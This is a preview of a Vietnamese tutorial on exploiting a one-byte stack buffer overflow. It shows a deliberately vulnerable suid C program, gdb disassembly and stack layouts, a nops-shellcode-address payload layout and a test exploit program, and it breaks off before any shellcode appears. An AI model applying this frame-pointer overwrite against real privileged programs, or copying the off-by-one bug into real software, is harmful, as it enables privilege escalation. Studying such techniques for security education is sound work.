Tải bản đầy đủ (.doc) (11 trang)

Làm tràn bộ đệm bằng 1 byte.

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (56.73 KB, 11 trang )

Làm tràn bộ đệm bằng 1 byte
trang này đã được đọc lần
Giới thiệu
Bộ đệm chương trình có thể bị làm tràn, ghi đè lên các dữ liệu quan trọng lưu trên vùng
nhớ của tiến trình và từ đó chúng ta có thể đổi hướng thực thi của nó. Điều này không
có gì mới. Bài viết này không đề cập nhiều đến việc làm thế nào để khai thác lỗi tràn bộ
đệm, cũng như không dành để giải thích về lỗi này. Nó chỉ để làm rõ rằng có thể khai
thác lỗi tràn bộ đệm kể cả trong những điều kiện xấu nhất, chẳng hạn bộ đệm chỉ có
thể bị làm tràn bởi một byte. Có nhiều kỹ thuật kỳ bí với mục đích khai thác các tiến
trình có đặc quyền trong những tình huống khó khăn nhất, kể cả khi đặc quyền của tiến
trình đã bị tước bỏ. Chúng ta sẽ chỉ đề cập đến tràn bộ đệm một byte trong bài viết
này.
Mục tiêu tấn công
Hãy viết một chương trình suid giả bị lỗi, chúng ta sẽ đặt tên là "suid".
Chương trình sẽ được viết sao cho bị tràn bộ đệm chỉ một byte duy nhất.
ipdev:~/tests$ cat > suid.c
#include <stdio.h>
func(char *sm)
{
char buffer[256];
int i;
for(i=0;i<=256;i++)
buffer[i]=sm[i];
}
main(int argc, char *argv[])
{
if (argc < 2) {
printf("missing args\n");
exit(-1);
}
func(argv[1]);


}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$
Như đã thấy, chúng ta không có nhiều khoảng trống để khai thác chương trình này.
Thực sự là tràn bộ đệm cũng chỉ bị gây ra bởi một byte vượt ngoài kích thước vùng lưu
trữ của bộ đệm. Chúng ta sẽ phải sử dụng byte này một cách thật khéo léo. Trước khi
khai thác lỗi, chúng ta nên xem qua byte này sẽ thực sự ghi đè lên những gì (bạn có thể
đã biết điều đó). Hãy tập hợp những thông tin trên stack bằng gdb vào lúc tràn bộ đệm
xảy ra.
ipdev:~/tests$ gdb ./suid
...
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)

0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb)
Chúng ta đã biết, bộ xử lý (processor) sẽ push %eip lên stack trước tiên ngay khi thực
hiện chỉ thị CALL. Tiếp theo, chương trình sẽ push %ebp lên kế đó như đã thấy ở địa chỉ
*0x8048134. Cuối cùng, nó sẽ kích hoạt bản ghi cục bộ (local frame) bằng cách giảm
%esp đi 0x104 (260) byte. Điều này có nghĩa các biến cục bộ sẽ có độ lớn 0x104 byte
(0x100 cho biến chuỗi và 0x004 cho biến integer). Lưu ý rằng các biến lưu trên stack
theo đơn vị word có độ dài 4 byte, vì vậy bộ đệm 255 byte sẽ thực sự chiếm vùng lưu
trữ 256 byte. Bây giờ chúng ta sẽ xem nội dung stack có gì trước khi tràn bộ đệm xảy
ra:
saved_eip
saved_ebp
char buffer[255]
char buffer[254]
...
char buffer[000]
int i
Điều này có nghĩa byte bị làm tràn sẽ ghi đè lên giá trị con trỏ frame bảo lưu (saved
frame pointer) đã được push lên stack ở đầu hàm func(). Nhưng làm thế nào byte này
có thể được dùng để đổi hướng thực thi của chương trình? Hãy xem điều gì xảy ra với
bản lưu của %ebp. Chúng ta đã biết rằng nó sẽ được phục hồi giá trị ở cuối hàm func(),
như đã thấy ở địa chỉ *0x804817e. Những tiếp theo sẽ là gì?
(gdb) disassemble main
Dump of assembler code for function main:

0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb)
Tuyệt vời! Sau khi hàm func() được gọi, ở cuối hàm main(), %ebp sẽ được phục hồi giá
trị vào %esp, như đã thấy ở địa chỉ *0x80481b1. Điều này có nghĩa chúng ta có thể đặt
vào %esp một giá trị tuỳ ý. Nhưng nhớ rằng, giá trị tuỳ ý này không "thực sự" là tuỳ ý
vì bạn chỉ có thể thay đổi một byte cuối cùng của %esp. Hãy kiểm tra xem chúng ta có
đúng không.
(gdb) disassemble main

Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `overflow 257`
Starting program: /home/klog/tests/suid `overflow 257`
Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp

esp 0xbffffd45 0xbffffd45
(gdb)
Chúng ta đã đúng. Sau khi làm tràn bộ đệm bằng một ký tự 'A' (0x41), giá
trị %ebp được chuyển vào %esp, và được tăng lên thêm 4 vì %ebp được pop ra
khỏi stack ngay trước chỉ thị RET. Điều này cho ta kết quả 0xbffffd41 + 0x4
= 0xbffffd45.
Chuẩn bị
Thay đổi con trỏ stack sẽ cho chúng ta điều gì? Chúng ta không thể thay đổi giá trị của
thanh ghi con trỏ bảo lưu (saved %eip) một cách trực tiếp giống như trong các khai
thác lỗi tràn bộ đệm kinh điển, nhưng chúng ta có thể khiến bộ xử lý nghĩ rằng giá trị
của nó trỏ đến nơi khác. Khi bộ xử lý trở về (return) tự một thủ tục, nó chỉ pop giá trị
word đầu tiên trên stack, xem nó là giá trị %eip cũ. Nhưng nếu chúng ta thay đổi giá trị
của %esp, chúng ta có thể khiến bộ xử lý pop một giá trị bất kỳ trên stack và xem đó
như là %eip, và vì thế đổi hướng thực thi của chương trình. Hãy làm tràn bộ đệm với
chuỗi có dạng sau:
[nops][shellcode][&shellcode][%ebp_altering_byte]
Để làm được điều này, trước chúng ta nên xác định giá trị mà chúng ta muốn thay đổi
%ebp thành (từ đó thay đổi %esp). Hãy xem nội dung trên stack có gì khi tràn bộ đệm
xảy ra:
saved_eip
saved_ebp (altered by 1 byte)
&shellcode \
shellcode | char buffer
nops /
int i
Ở đây, chúng ta muốn %esp trỏ đến &shellcode để địa chỉ của shellcode sẽ được pop
vào %eip khi bộ xử lý trở về từ hàm main(). Bây giờ chúng ta đã có đầy đủ những kiến
thức cần thiết để khai thác chương trình bị lỗi, chúng ta cần trích thông tin chính xác từ
tiến trình đang thực thi trong ngữ cảnh nó sẽ xảy ra khi bị khai thác. Thông tin này gồm
địa chỉ của bộ đệm bị làm tràn và địa chỉ của con trỏ đến bộ đệm của chúng ta

(&shellcode). Hãy chạy chương trình như thể chúng ta muốn nó bị làm tràn bởi chuỗi
nhập có chiều dài 257 byte. Để làm được điều này, chúng ta phải viết một chương trình
khai thác giả để tái tạo ngữ cảnh mà chúng ta sẽ tiến hành khai thác tiến
trình bị lỗi.
(gdb) q
ipdev:~/tests$ cat > fake_exp.c
#include <stdio.h>
#include <unistd.h>
main()
{
int i;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=256;i++)
{
buffer[i] = 'A';
}
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc fake_exp.c -o fake_exp
ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp2
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb) disassemble func
Dump of assembler code for function func:

×